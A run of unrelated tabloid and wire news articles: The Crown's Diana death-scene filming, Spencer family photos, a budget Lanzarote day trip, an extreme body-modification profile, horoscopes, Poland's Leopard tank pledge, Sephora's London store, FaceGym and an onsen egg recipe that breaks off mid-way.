Onlookers on set told The Sun that cast members were visibly upset during the filming of the scene.

One said: 'They actually made Elizabeth climb into a coffin and play dead as Diana. Viewers will see a French priest administering the last rites for Diana as she is pronounced deceased.

'Prince Charles enters the room and is in floods of tears. In his hysteria he notices that Diana is missing an earring. It is all he can focus on as grief envelops him.'

They added: 'Princes William and Harry never saw their mother dead in a coffin and they shouldn't have to watch this. Nor should the British public.'

Meanwhile a number of female actors wore black ensembles with matching hats ahead of filming today

Extras could be seen chatting with members of the crew as they prepared for filming at the cathedral today

Crew members are said to be concerned that the scriptwriters and producers have gone over the top chasing ratings.

One spectator said: 'Everyone was very uncomfortable doing the shoot. It is obscene and should be banned from broadcast.'

The next season will show scenes of Princess Diana lying on a table with frantic medics trying to save her.

Netflix has insisted the 'exact moment' of the crash will not feature in the controversial drama, which has come under fire for sensationalism and inaccuracy.

A friend of Diana's said the show's makers could face accusations of 'insensitivity' over the filming in Paris. Debbie Frank, who was Diana's astrologer, said it would be 'terrible' for William and Harry to see a recreation of the moments leading up to their mother's death

The royals were also seen mourning publicly at the Queen Mother's funeral in April 2002 (pictured)

It's obviously terrible for Diana's children to have to see that again. It's insensitive,' she said.

She added: 'I feel Diana's death and the crash was the biggest shock our generation. It had such a huge impact across the national psyche.

'I guess the makers of The Crown feel they are entitled to show a re-enactment of scenes leading up to her death and that it has dramatic impact. But relatives would think otherwise.'

Ken Wharfe, Diana's former bodyguard, told The Sun that William will find the scenes 'repulsive' and Charles will be 'appalled'.

Harry has confirmed that he watches Netflixs controversial series The Crown - and fact checks the show as he does.

The Duke of Sussex laughed as he revealed in a new TV interview that he has watched the more recent episodes that portray sensationalized accounts of his late mother Dianas bulimia battle and her bitter divorce from his father.

The 38-year-old made the admission during an appearance on The Late Show with Stephen Colbert.

Yes I have actually watched The Crown, Harry - who has a production deal with Netflix that is reported to be worth $100 million - told Colbert after the late night host asked if he had seen the series.

The older stuff and the more recent stuff.

Harry then burst into fits of laughter and mimed taking notes as Colbert questioned whether he fact checks the show - before admitting: Yes, I do actually.
Royal fans have rushed to point out the resemblance between Prince George and his great-grandfather after a photograph of the late John, 8th Earl Spencer was shared online.

The current Earl Spencer, Charles, 58, who lives at Althorp House in Northamptonshire, took to his social media accounts today to mark his father's 99th birthday.

He shared an image of John as a 16-year-old cadet in 1940 - and his followers couldn't help but notice the likeness between the late Earl and his great-grandson, nine-year-old George.

On Twitter, the image was captioned: 'On his 99th birthday, today, a glimpse of my father as a 16-year-old cadet in 1940. 4 years later hed be Mentioned in Despatches for his role as a tank commander in the Normandy invasion.

Royal fans have rushed to point out the resemblance between Prince George (pictured right) and his great-grandfather after a photograph of the late John, 8th Earl Spencer (pictured left) was shared online

'Photograph taken outside @AlthorpHouse  - which had much more ivy back then,' added Charles, brother of Princess Diana.

Royal enthusiasts took to the comments, with one writing: 'Yes. Prince George is 100% Spencer family.'

Another said: 'The male genes are very strong in your family. It's like you and little Prince George are so alike and you can see it also in this picture.'

It comes after the Earl unveiled a stunning portrait of his mother Frances Shand Kydd - and royal fans went wild for the family resemblance to Princess Diana.

The current Earl Spencer, Charles, 58, who lives at Althorp House in Northamptonshire, took to his social media accounts today to mark his father's 99th birthday

Reaction: He shared an image of John as a 16-year-old cadet in 1940 - and his followers couldn't help but notice the likeness between the late Earl and his great-grandson, nine-year-old George

Charles Spencer took to Instagram on Friday to share a painting of his late mother to mark her 87th birthday.

He explained in the caption that the image stands in his home's library, surrounded by pictures of four of her children, adding: 'My mother was born 87 years ago today, in Park House, Sandringham.

'On that very same day - 20 January 1936 - a few hundred yards away, in Sandringham House, King George V died. My mother died in 2004, when 68. Too young.'

Royal fans were stunned by the portrait, with many saying Frances appeared the double of Princess Diana.

Princess Diana 's brother Earl Spencer unveiled a stunning portrait of his mother Frances Shand Kydd (pictured) - and royal fans went wild for the family resemblance to the late royal

One person wrote: 'Very sad, too young. However, it's plain to see where Diana's beauty came from. She too was way to young.'

Another social media user said: 'Wow. Diana obviously got her beauty from your mother. This is a lovely portrait.'

A third added: 'She's so beautiful. Diana definitely looks similar to her.' A fourth wrote: 'Diana's beauty shows through your mum.'

The portrait captures Frances as a young woman, as she gazes out of the frame to the left.

Charles Spencer , 58, who lives at Althorp House in Northamptonshire, took to Instagram on Friday to share a painting of his late mother to mark her 87th birthday

Princess Diana at the Indiana Jones and the Temple of Doom film premiere in 1984 in London

Reaction: Royal fans were stunned by the portrait, with many saying Frances appeared the double of Princess Diana

Diana and her mother (pictured together) had a rocky relationship and weren't on speaking terms before her death in 1997

Frances, then 18, and the 8th Earl Spencer 'Johnnie', 30, married in 1954 before divorcing in 1969.

In 1968, Frances lost a custody battle for Diana, Charles and their sisters Jane and Sarah and tried in 1971 to regain custody from Johnnie Spencer, but lost once again.

The mother of Diana went to live with her new husband in Scotland after losing her first custody battle for her children, in which she was dubbed 'the bolter'.

Princess Diana died at the age of 36 when the car she was travelling in crashed in a Paris tunnel on August 31, 1997.

Diana and her mother had a rocky relationship and weren't on speaking terms before her death in 1997.
Two mothers living their best lives have revealed how they spent a wintery Monday in the Canary Islands after bagging 23 flights.

Posting on TikTok, 38-year-old, mother-of-four Rebecca went viral with her best friend after they flew 2,500 miles for a day out in Lanzarote.

The Manchester mother, who goes by the user name 0nlyMums, said it was better 'than a Sunday round Sainsbury's.'

The friends, who between them have seven children, decided to catch a flight to spend nine hours on the sunny island where it's currently a pleasant 17C.

Two women from Manchester flew to Lanzarote for the day on a 23 flight. The mothers, who have seven children between them, shared the day on TikTok

Sharing their antics on the social media platform, Rebecca explained that it was best way to shake off the January blues.

She said: 'Well my weekend's on the up because Ive just booked a 23 flight to Spain for the day to blow off the January blues - me and the bestie - the packed lunch is made for the kids on Monday and Ill be back at midnight!'

The Manchester-based woman urged people to live more spontaneously, proving that you can do more with your days off and a low costs.

She explained: 'Ladies, if you only think you have a day to spare, make it count! You can absolutely do it.

Sharing their antics on the social media platform, Rebecca explained that it was best way to shake off the January blues

Rebecca posted multiple videos of their day trip to Lanzarote including paddling in the sea, drinking cocktails on the beach and brunching in the sun

'We got up at 3.45am - weve had the best day in Lanzarote. Weve been in the sea, had three sex on the beach cocktails, been to Zara - what more do you need hun? Book the flight!'

The video has gained over 600,000 views in 15 hours and the comment section became inundated with positive messages for the two women.

The video has gained over 600k views in 15 hours and the comment section became inundated with positive messages for the two women

One follower commented: 'Can you imagine saying, "See you later kids, just popping to Lanzarote? I love it.'

Another agreed: 'I did this in October -38 return flights to Milan! 6am flight pasta lunch in the sun had giant Aperol spritzes & pizza home for 12.30am'

A third exclaimed: 'Oh I need people like you in my life'

And a fourth posted: 'I love this so much you two are so inspiring. Thank you xxxx'

The 0nlyMums user posted multiple videos of their day trip to Lanzarote including paddling in the sea, drinking cocktails on the beach and brunching in the sun.
A man who had extreme body modification procedures to look like a 'black alien' revealed he can't eat in restaurants anymore.

Anthony Loffredo, 33, from France, dreams of becoming a 'black alien' and has put his body through several procedures to remove his ears, nostrils and some of his fingers in order to achieve the look.

Speaking to LadBible TV, the Frenchman has admitted that his extreme look has earned him some criticism, and that local restaurants won't serve him on the terrace anymore.

Anthony, who took up body modification because he felt he was born in a body he didn't belong in, said he has had to make his peace with people who are 'close minded.'

Anthony Loffredo, 33, from France, dreams of becoming a 'black alien' and has put his body through several procedures to remove his ears, nostrils and some of his fingers in order to achieve the look. He said some restaurants won't serve him on their terrace anymore

'If I want to eat at a restaurant, sometimes the server says I can't eat on the terrace,' the Alien wannabe said.

He added that changing his body to look more Alien-like has boosted his self-confidence, saying: 'There are people that said thanks to me as they feel more secure now. That now the looks they get from other people, don't bother them.'

Anthony has already covered his body - including his eyeballs - in tattoos and removed his nose and top lip in his bid to look like a 'black alien'.

He's admitted in the past that his appearance made it difficult to find work.

Anthony has already covered his body - including his eyeballs - in tattoos and removed his nose and top lip in his bid to look like a 'black alien'

The body modification enthusiast before he began to turn his body into a 'Black Alien.' Anthony said he is only 44 per cent into his modification journey

He previously told the Club 113 podcast: I can't find a job, there's lots of negative stuff. It could be positive because you feel better, but you have to know there's also a dark side.

Despite Loffredo undergoing a number of surgical procedures - not least to split his tongue in half and remove his ears - he revealed that he is still '44 per cent' of the way to his goal of becoming a 'black alien'.

Loffredo has undergone surgery to have a hole cut through the skin below his bottom lip. He often posts images to Instagram of himself poking his forked tongue through the hole.

Anthony has admitted he has struggled to find work due to his extreme appearance, but he won't give it up

He has also had countless implants placed under his skin, which is almost completely tattooed black.

In a previous Instagram post, he had hinted at splitting his penis in two, prompting one social media user to reply: 'I knew you were stupid... but that much??'

Last year, Loffredo revealed he had surgery in Mexico to cut off his two fingers so that his hand looks like a claw.

Graphic images and video footage showed Loffredo lying on an operating table surrounded by surgeons as he raised up his hand to look at his new 'claw' in awe.

In July, Loffredo revealed that he was preparing to remove two fingers from his right hand as well so that he can have matching 'claws'.

The Frenchman likes to document his body modification journey on Instagram, where he shows off his tattoo and extreme looks

He wrote on Instagram: 'On the other side of the world to continue my project, the procedure is going well, one more dream that has just come true. Thank you for doing your top job, thank you Mexico from my heart. 34 per cent loading.'

Loffredo's controversial body modification transformation sparked praise - and dismay - among his Instagram followers.

One wrote: 'Oh my god you did it. I didn't believe it but it's true. I hope your body will adapt.'

Others were less supportive, as one user wrote: 'Blatant disrespect to those that are unfortunate to have lost limbs and look for ways to function as the human body should.'

Anthony has modified his nostrils and removed his ears, as well as adding horn-like bumps on his face

He has also amputated some of his fingers and added gills-like details to his forearms to build up the Alien look

Anthony said people have reached out to him and thanked him for talking openly about his body modification journey

Another wrote: 'You're 100 per cent going to regret this one eventually.'

One user said: 'This is disturbing and fascinating at the same time. I don't think I could do this, but thumbs up to you for living your dream.'

The latest transformative procedure comes after Loffredo had his nose and top lip removed. He later confessed that he now struggles to speak.

He had his nose removed last year in Spain as the procedure is illegal in France.

Other than piercing and tattooing, body modifications that result in injury are illegal in many European countries.

As such, Loffredo did not specify exactly where, when or by whom his nose and upper lip were removed, when speaking about the procedures in an Instagram live question and answer session.

Loffredo did admit that he was struggling to speak since the removal of his top lip but this does not seem to have dampened his enthusiasm for body modification.

He said he dreamed of removing his skin entirely and replacing it with metal and listed his arms, legs and fingers, along with the back of his head, as the next parts of his body he wants to have modified.

Speaking to French newspaper Midi Libre in 2017, Loffredo said he had been 'passionate about mutations and transformations of the human body' from a young age.

When he was working as a security guard in his twenties, he realised he was not living in the way that he wanted to.

'I stopped everything at 24 and left for Australia', Loffredo, who according to his Instagram is now based in Montpellier, France, told the paper.

'It has become normal, even unconscious, to constantly think about my plans [for body modification] for the next few months,' The Mirror reported Loffredo as saying.

The striking-looking individual said he loved 'getting into the shoes of a scary character'.

'I often settle down somewhere and play a role, especially at night in the dark streets,' he said.

'I explore the contrast between the role I play and myself.'
The Prince and Princess of Wales have thanked outgoing New Zealand prime minister Jacinda Ardern for her support while leading the Commonwealth nation - particularly following the death of Queen Elizabeth.

William and Kate took to their Kensington Royal Twitter account to share their gratitude to the politician, who announced last week she would be stepping down as leader saying she had 'nothing left in the tank' and carried out her final public engagement today.

The message, signed off by 'W & C', said: 'Thank you Jacinda Ardern for your friendship, leadership and support over the years, not least at the time of my grandmothers death. Sending you, Clarke and Neve our best wishes.'

The message referred to Clarke Gayford, the prime minister's long term partner and fiance, and their daughter Neve Te Aroha, who was born in June 2018.

Prince William (pictured receiving a hongi greeting from Jacinda Ardern in 2019) thanked Jacinda Ardern for her support after she announced she was stepping down

Prince William, his wife and Ms Ardern have met several times since she took office in 2017.

Their last official meeting took place in sombre times for the couple, when Jacinda travelled to the UK to attend the late Queen Elizabeth II's funeral on September 19.

For the occasion, the politician wore a black dress with a custom-made feather Kakahu, a traditional cloak, crafted for the occasion by Maori designer, Kiri Nathan.

The outfit, she said, was chosen because she wanted to bring a 'piece of New Zealand' to the British funeral.

The Prince and Princess of Wales shared a heartfelt message, addressed to the New Zealand PM, on their Twitter page

The New Zealand PM wearing a Maori cloak during her last public engagement, which saw her visit a Maori settlement of Ratana in the North Island earlier today

Ms Ardern also wore a royal-inspired hat, made by local designer Monika Neuhauser.

The Kiwi leader met with King Charles for about ten minutes in what she described as a 'really warm meeting' ahead of the ceremony.

'What I can share is that it was a warm conversation, that the King was deeply appreciative of the thoughts of New Zealand, and of the efforts that so many have made to come and pay their respects,' she told the New Zealand Herald at the time.

Jacinda also met with William, 40, last July when she visited this side of the oceam for the first time since the Covid 19 pandemic, which saw her introduce particularly strict travel restrictions.

Pictured: Ms Ardern, wearing a custom-made feather Kakahu, a traditional cloak, crafted for the occasion by Maori designer, Kiri Nathan, during the late Queen's funeral on September 2019

New Zealand Prime Minister Jacinda Ardern is pictured with her fiance, Clarke Gayford, heading into the Queen's funeral last September

The Duke of Cambridge met with the New Zealand Prime Minister at his royal residence, Kensington Palace in London at the time, with a picture of the meeting being released.

In April 2019, Prince William, 40, travelled to New Zealand on a solo visit where he commemorated Anzac Day.

Upon arrival he was greeted by the prime minister with a traditional Maori greeting called a hongi.

What is the hongi? The traditional Maori greeting is performed by two people pressing their noses together. Through the exchange of this greeting, one is no longer considered manuhiri, a visitor, but rather tangata whenua, one of the people of the land. Several royals have been greeted with the hongi during visits to New Zealand, including Prince Charles, Diana, Prince William, Prince Harry and Meghan. Former US President Barack Obama exchanged a hongi with Ms Ardern during a visit to the country in March 2018. Advertisement

During the visit, he also met with survivors of the Christchurch terror attack, which had happened just one month earlier and claimed the lives of 51 people at two mosques in the city.

Attending the Anzac Day service, the Prince of Wales did not make a speech, but the prime minister spoke of how the event was a reminder of shared values in the wake of the terror attack.

'Let us recommit to always remembering our shared humanity, that there is more that unites us than divides us,' she said.

'Our sense of independence is as strong as our sense of responsibility to each other and not just as nation states but as human beings.'

Prince William laid a wreath on behalf of the Crown and The Last Post was then played before WWI and WWII planes flew over.

While there he reflected on his own grief and loss following the death of his mother in 1997, saying: 'I've had reason myself to reflect on grief, sudden pain and loss in my own life.

'What I've realised is that of course grief can change your outlook, you don't forget the shock and sadness or pain, but I do not believe grief changes who you are.'

The Duke of Cambridge, who rarely speaks about his mother's death, revealed at the time just how much of an impact the loss had on him, occurring when he was just 15 years of age.

He said: 'Grief, if you let it, will reveal who you are. It can reveal depths you did not know you had.

'This is what happened here. An act of violence was designed to change New Zealand, but instead the grief of a nation revealed just how deep your wells of empathy, compassion, warmth and love truly run.'

Prince William and Jacinda Ardern during his solo visit to New Zealand in 2019, where he took part in ANZAC ceremonies and visited the two mosques where a gunman killed 50 people in March of that year

The PM and Prince William met at Kensington Palace when she visited over the summer, in her first trip to the UK since the covid-19 pandemic

Jacinda Arden was among the official present at the mosque at the time, who welcomed Prince William on his visit.

William and Kate have always been fond of the country, with its Governor-General Dame Cindy Kiro saying last September that they were 'desperate' to visit the country once again.

'The Prince of Wales said that he and the Princess of Wales would be desperate to get to New Zealand as soon as they can,' she said.

'But of course they have young children and we'll have to see what happens.

'I can tell you, I think everybody loves New Zealand, and it's a good thing to be the Governor-General of a country that everyone likes,' she added.
With the exception of Queen Victoria and Christopher Columbus, there are more statues of Robert Burns than any other secular figure. From New York to Canberra, the Scots poet is celebrated around the world tonight. It's a testament to how words can touch people's hearts. As the Sun and Jupiter's relationship brings wider perspective, the challenge, today, is to explore the potential hidden in everyday tasks.

Read more horoscopes on MailOnline.

ARIES

March 21 - April 20

If you feel as if you're running out of steam, it's possible you've gone as far as you need on this stretch of the journey. Maybe the next instalment of your adventure won't require you to keep fuelling the fire to maintain such a high level of pressure. Or maybe it's right to carry on along this track, but at a gentler speed. There may even be a slope around the corner that will let you glide to your destination. It's hard to sustain your current energy levels. But the going will get easier.

Don't worry about the future. Understand it, embrace it and transform it. Learn how in your latest forecast. Call 0906 751 5601.

Astrology expert Oscar Cainer (pictured) gives his advice to the signs in light the Sun and Jupiter's relationship

TAURUS

April 21- May 21

Roses are red. The sky is blue. No one would argue with those facts. But, at the same time, it isn't quite that simple. Roses can be pink, yellow, white  even variegated. And, as I look out of my window, the skies are silvery grey. So, do we need to rethink these basic facts? Of course not. All it proves is that when we over-categorise, we limit ourselves and our understanding. If you can be open to a world in which black isn't always black and white isn't always white you'll find a rainbow of possibilities and perspectives open for you.

Auspicious alignments suggest good times lie ahead. Learn more in your latest in-depth forecast. Call 0906 751 5602.

GEMINI

May 22 - June 22

It MAY be impossible to trade a piece of our future for part of our present, but it's what we try to do when we borrow money, or don't consider the consequences of our actions on the planet. Some people seem to find it easy to believe in deferred gratification. They're content to invest hard work today in the hope that tomorrow will be better. If you look at what's unfolding in your world, you'll know it's the result of sustained effort. If you keep doing your best, it will be more than enough.

Need to change something in your world? Your latest four-minute forecast tells you how. Call 0906 751 5603.

CANCER

June 23 - July 23

A friend recently told me that one of their favourite things to do on a Friday night is to drive to a motorway service station and have dinner. While they're enjoying their meal, thousands of cars are streaming past filled with people who wouldn't dream of buying anything other than a sandwich from such a place. Human beings are a diverse bunch! Who's to say what's good? It comes down to taste. If something is important to you, don't let anyone talk you out of it today. Stick to your guns. Make the most of your opportunities.

Your latest, in-depth four-minute forecast contains inspiring news. Call 0906 751 5604.

LEO

July 24 - August 23

You're wondering whether it's time to make a courageous move. You don't want to start a particular ball rolling unless the circumstances are favourable. As your ruler, the Sun, links to generous Jupiter today, it's no wonder you're pondering. You're caught between an irresistible urge to act now and overriding an intuitive feeling that it's better to wait. So, for today, although being stuck on the fence is uncomfortable, it may be a good place to stay. Biding your time won't hurt.

Don't worry about the future. Understand it, embrace it and transform it. Learn how in your latest forecast. Call 0906 751 5605.

VIRGO

August 24 - September 23

Social groups in the animal kingdom are often ruled by alpha males, who exert their influence through fear and domination. They get to pick the mate of their choice, have first dibs on any kill and the cosiest sleeping quarters. You may assume that those who rule by fear survive the longest. Yet there's evidence to show that the leaders who display kindness live longer lives. When their tenure at the top comes to an end, they're looked after (rather than cast out). You're in a powerful position. Be as kind as you can be.

Auspicious alignments suggest good times lie ahead. Learn more in your latest in-depth forecast. Call 0906 751 5606.

As the Sun and Jupiter's relationship brings wider perspective, the challenge, today, is to explore the potential hidden in everyday tasks. Stock image used

LIBRA

September 24 - October 23

I know you've come here for advice, but before we go any further, there's a question I'd like you to answer. You see, unless I have more information I won't be able to provide a satisfactory response. So, what's your favourite colour? What's that? Your time's too valuable to tolerate my irrelevant inquiries? I couldn't have put it better, myself! Stop wasting your precious moments trying to satisfy other people's silly demands today. Your time is precious. If you listen to your instincts, you'll know what to do.

Need to change something in your world? Your latest four-minute forecast tells you how. Call 0906 751 5607.

SCORPIO

October 24 - November 22

'What gives you the right to say that?' It's the kind of comment that makes us question ourselves and our decisions. Today, though, if anyone dares throw such a remark your way, you can handle it with ease. You're feeling more confident about what you're doing. What's more, it's becoming apparent that the issues causing you most concern are the source of hidden strengths. You can be decisive. You can be clear. And you can deal with any negativity with new-found self-assurance. Make the most of your opportunities.

Your latest, in-depth four-minute forecast contains inspiring news. Call 0906 751 5608.

SAGITTARIUS

November 23 - December 21

Trust. Faith. Belief. These qualities require confidence and strength. And in a world full of misinformation, it's no wonder we find them harder to summon. But if you think about it, most of our conversations are misleading. No matter how we're feeling, when asked how we are, we say 'I'm fine', even when we're not. This is bound to affect the genuineness of the conversation. Yet, today, as the Sun links to your ruler, Jupiter, this will be your heartfelt response.

Don't worry about the future. Understand, embrace and transform it. Learn how in your latest forecast. Call 0906 751 5609.

CAPRICORN

December 22 - January 20

You are not the kind of person who normally lets things get to you. If there's something you want, you find a way to deal with the fact you don't have it (while you work out a way to achieve it). Your patience, pragmatism and diligence are a source of pride. Yet there are times you can be overwhelmed with such a powerful urge that you can't suppress it. You're experiencing a growing wave of passion. You're trying to quell it. But it's impossible. Today brings a chance to channel it, with skill, in a positive direction.

Auspicious alignments suggest good times lie ahead. Learn more in your latest in-depth forecast. Call 0906 751 5610.

AQUARIUS

January 21 - February 19

There are times when it's appropriate to be modest and others when it's appropriate to be proud. In case you're wondering, none of the issues you're dealing with are the result of arrogance. Quite the opposite. It's far more likely that they're caused by unwarranted self-doubt. You've been a bit too compliant. You've let things go too far in a direction that doesn't suit you. Here's a chance to turn things round. Take today's opportunity to assert yourself gently but firmly. Enjoy your progress.

Need to change something in your world? Your latest four-minute forecast tells you how. Call 0906 751 5611.

PISCES

February 20 - March 20

As the Sun links with your traditional ruler, Jupiter, the trick is to take it easy. Stop trying so hard. You've set yourself high standards because you feel responsible for the outcome of a situation that involves someone you care about. As a result, you're under pressure. You're trying to give this everything you've got and more. Actually, you're well on the way towards achieving this goal. The skies bring unexpected assistance. As long as you keep focused, you'll get a result that will please everyone. Make the most of your opportunities.

Your latest, in-depth four-minute forecast contains inspiring news. Call 0906 751 5612.
Air Defense Missile Group 24 begins moving the first two of three committed Patriot air defense missile squadrons from Germany to Poland in Gnoien, Germany, Jan. 23. AP-Yonhap



Poland said Monday it was willing to send German-made Leopard 2 tanks to Ukraine without approval, but would first seek permission from Berlin, as Kyiv presses its allies for heavy weaponry.



European nations agreed to spend another 500 million euros ($540 million) to arm Kyiv in the latest boost to the multi-billion-dollar drive to help Ukraine push back Russian forces.



However, while scores of nations have pledged military hardware, Kyiv is clamoring for more advanced and heavier weapons, notably the powerful Leopard 2  seen as key to punching through enemy lines.



Berlin, which needs to grant permission for the tanks to be sent to Ukraine, has come under fire for failing to take the critical decision.



After days of mounting pressure and stalling, German Foreign Minister Annalena Baerbock said Sunday that Germany would not stand in the way if Warsaw asked to send the tanks.



"We will seek this approval," Poland's Prime Minister Mateusz Morawiecki told reporters Monday.



"Even if we didn't get such an approval in the end, we will give our tanks to Ukraine anyway  within a small coalition of countries, even if Germany isn't in that coalition," Morawiecki said.



Polish government spokesman Piotr Muller later told state television that a formal request was "an important gesture and we will certainly carry it out in the coming days."



Ukraine, which is still using Soviet-era tanks, has said the world's indecision is only "killing more of our people".



Poland announced earlier this month that it was ready to deliver 14 Leopard 2 tanks to Kyiv but was waiting for a clear statement from Berlin authorizing the transfer.



Berlin has insisted on the need for all allies to work together.



Chancellor Olaf Scholz's spokesman reiterated that stance Monday, saying the government "does not rule out" the tanks' transfer but added: "It has not yet been decided."





Prime Minister Mateusz Morawiecki, right, and Deputy Prime Minister, Minister of National Defense Mariusz Blaszczak, left, speak to the media during a visit to the headquarters of the H. Cegielski Railway Vehicles Factory in Poznan, Poland, Jan. 23. EPA-Yonhap
Sephora has now revealed the location of its first UK store in 18 years - set to open in March 2023.

Excited shoppers will be happy to learn that the flagship beauty giant branch will open shop in Westfield mall, at London's White City location.

The outlet is considered one of Europe's largest shopping and leisure destinations, and the beauty-junkie favoured store promises 'an exceptional assortment of products and personal services'.

Sephora has now revealed the location of its first UK store in 18 years - set to open in March 2023. Pictured, a store of the brand in Malaysia

The store will also offer 135 brands, and bring together 'an attentive combination of human touch and technology' with a Grand Beauty Hub.

'We are delighted to bring our inspirational in-store environment to London, which has some of the most demanding beauty fans in the world,' said Sylvie Moreau President Europe, Middle East at Sephora.

'We know that London's youthful and inventive vibe is one of the best places on in the world for us to introduce some of the innovations that will make the Sephora experience even more extraordinary in the future.'

The retailer previously had five UK stores in the early 2000s, but the last closed in 2005.

Sarah Boyd, Managing Director of Sephora UK, has also revealed that the company has been 'inundated with questions about our plans to open stores' since its online launch last autumn.

Excited shoppers will be happy to learn that the flagship beauty giant branch will open shop in Westfield mall, at London's White City location

'Sephora is one of the most requested stores by Westfield London customers and I am delighted they have chosen our destination to open their first physical store in the UK', said Katie Wyle, General Manager at Westfield London.

'The launch of their store marks the growth of our beauty offer and will be a landmark moment for beauty fans where they can discover Sephora's compelling brand mix combined with a high energy, digitally enhanced in-store experience. We're now on the countdown to what will be an extraordinary opening day!'

In October, online beauty fans went wild when they learned that the global make-up giant is officially arriving in the UK, following its acquisition of the Feelunique website in 2021.

Excited tweets had been piled in, with make-up enthusiasts gushing that this was the 'good news they needed'.

Last year Sephora officially arrived in the UK, following its acquisition of the Feelunique website in 2021

There has been a longstanding demand for Sephora in the UK from beauty and make-up fans.

Excited shoppers took to social media to express their anticipation for the beauty giant's British debut.

'SEPHORA IN THE UK IS HAPPENING !!!!!' one user exclaimed.

Another penned: 'OMFG SEPHORA IS COMING TO THE UK!!!'

There has been a longstanding demand for a Sephora presence in the UK from beauty and make-up fans

Elsewhere, someone wrote: 'My prayers have been answered y'all Sephora is coming to the UK.'

'Sephora is officially coming to the UK,' another added. 'This is NOT a drill.'

The company's Chairman and CEO praised the UK's 'dynamic beauty and wellbeing market' following the long awaited announcement.

'We are delighted to bring Sephora to the UK, responding to Britain's strong demand for our unique prestige beauty experience,' Chris de Lapuente said.

'We will offer British consumers a pioneering selection of beauty that is best in class for innovation, diversity and inclusion. Our passionate team cannot wait to serve and inspire UK customers under the Sephora brand.'

Sephora promises a 'fully immersive website' which will be twinned with its app, and offer brands exclusive to its UK offering, including Tarte Cosmetics, ILIA, Makeup by Mario, ONE/SIZE by Patrick Starrr, GXVE by Gwen Stefani, Skinfix, Vegamour, and Sephora's own Sephora Collection.
The founder shared how you can give yourself a FaceGym workout at home

The cult celebrity-loved facial is arriving in Sydney this year, in Mecca

FaceGym promises to lift, sculpt and tone a face via a series of facial workouts

The founder of a celebrity-loved 'facial workout' that promises to sculpt, tone, and lift the 40 muscles in your face has shared the secrets to her beauty empire.

Inge Theron is the founder of FaceGym, which is a revolutionary skincare fitness brand that is dedicated to moulding your skin and draining excess fluid via facial massage, stimulation, facials and products.

Ahead of its launch in Australia in Sydney's flagship Mecca store, former beauty journalist Inge revealed how she came up with the idea for FaceGym.

'I'd been thinking about the body and the gym and the endless benefits we see for our muscles and skin when we regularly work out,' she told Mecca.

Scroll down for video

The founder of a celebrity-loved 'facial workout' that promises to sculpt, tone, and lift the 40 muscles in your face has shared the secrets to her beauty empire (Inge Theron of FaceGym pictured)

FaceGym is a revolutionary skincare fitness brand that is dedicated to moulding your skin and draining excess fluid via facial massage, stimulation, facials and products (before and after)

'And I thought, "Why don't we do the same for our faces too?" Our face is made up of more than 40 muscles. If you train the muscles in your face consistently, it can help to prevent sagging.'

She added that she wants people to realise that the muscles in our faces are 'the same' as the muscles in our body, and if you need a fitness routine for them as you do your physique.

Enter FaceGym.

The revolutionary concept sees a facialist - or 'face trainer' - perform a series of sculpting moves that tone and tighten your face while you sit back and relax over 45 minutes or an hour.

The facials involve tools including a mini yoga ball ($45) for the face and a multi sculpt high-performance contour tool ($89), which is something like a Gua Sha tool that seeks to rid your skin of excess fluid and leave it looking less puffy and more refreshed.

There are also hyaluronic acid microneedling tools ($98) designed to help re-surface the skin and inject it with glow.

The facials are not painful and there is no downtime. They merely 'work' the facial muscles to ensure your skin looks as radiant as possible.

The revolutionary concept sees a facialist - or 'face trainer' - perform a series of sculpting moves that tone and tighten your face while you sit back and relax over 45 minutes or an hour (pictured before and after)

Since FaceGym launched several years ago, it has gone from strength to strength and is now used by a number of celebrities on the red carpet (pictured before and after)

Since FaceGym launched several years ago, it has gone from strength to strength.

It now has a celebrity client base including Lizzo, Kaia Gerber, Nicole Kidman and Elizabeth Olsen - who all swear by it to get ready to hit the red carpet.

Meanwhile, thousands of before and after pictures shared on Instagram show just how effective it is at banishing redness and puffiness and revealing your best skin yet.

Signature moves include 'knuckling, pinching and whipping strokes' - all of which are designed to 'help encourage collagen, stimulate the skin and boost radiance' (pictured in process)

Like a gym workout, the facial starts with a warm-up that is designed to boost circulation and 'start up the muscles', before the cardio and then a cool down (pictured before and after)

Inge described exactly what a FaceGym facial entails:

There are also a range of skincare products and tools to buy (pictured)

'We deliver deep tissue muscle manipulation to help train the facial muscles, aiming to lift, sculpt, tone and tighten the face like never before,' she told Mecca.

Signature moves include 'knuckling, pinching and whipping strokes' - all of which are designed to 'help encourage collagen, stimulate the skin and boost radiance'.

Like a gym workout, the facial starts with a warm-up that is designed to boost circulation and 'start up the muscles'.

This is followed by your cardio, which is where you'll get the whipping strokes that Inge said are 'exactly like running on a treadmill at the gym'.

Finally, you finish with a relaxing cool-down that has 'softer sweeping and draining movements'.

'Celebrating and embracing ageing is a huge part of our ethos,' Inge said.

'It's why the brand came to life. I always say we're not in the beauty industry, we're in the confidence-boosting industry - and that spans every age. It's never too late to start adding facial massage into your daily skincare routine'.

For more information about FaceGym at Mecca, please click here.
Professional and amateur chefs are cooking poached eggs on a frying pan using a classic Japanese culinary technique.

Onsen tamago is a Japanese low-temperature egg which is traditionally slow-cooked in the hot waters of onsen in Japan.

Similar to poached eggs, both kinds are cooked in water and have set whites with runny yolks - but onsen tamago is executed by cooking the egg with the shell on to achieve a delicate, custard-like egg white.

Scroll down for video

Professional and amateur chefs alike are cooking poached eggs on a frying pan using a classic Japanese culinary technique

Jasmine, from Seoul, shared a video detailing how to cook onsen eggs to perfect in an Instagram reel.

'These are soo easy to make and I like to have a bunch of these in the fridge for me to use throughout the week,' she wrote in the caption.

'My favourite way to eat this is with rice, kewpie mayo and hot chili sauce. Its so simple but so satisfying.'

In order to make the dish, you will need eggs, a deep pan, cool water and boiling water.

First, add enough water to your pan to completely submerge the eggs and bring it to a boil.

Once the water is boiling, turn the heat off and pour in the cool water along with your eggs.

The eggs should soak in the pan for 11-15 minutes before you remove them.

Set the eggs aside for five minutes to cool, and then heat up your frying pan and spray some cooking oil over the base.

Onsen tamago is a Japanese low-temperature egg which is traditionally slow-cooked in the hot waters of onsen in Japan

Your eggs should be partially boiled with the whites intact but the yolk still runny when you crack them open over the frying pan.

Continue to cook and flip the egg over until you've reached your desired consistency for the yolks, and then enjoy your eggs with the garnish and side of your choice.

The classic Japanese calls for a special sauce made of dashi, mirin, soy sauce, and katsuobushi with spring onions to top it off.

Your eggs should be partially boiled with the whites intact but the yolk still runny when you crack them open over the frying pan

In order to make the sauce, you will first have to combine the dashi, mirin, and soy sauce in a small saucepan and bring it to a boil.

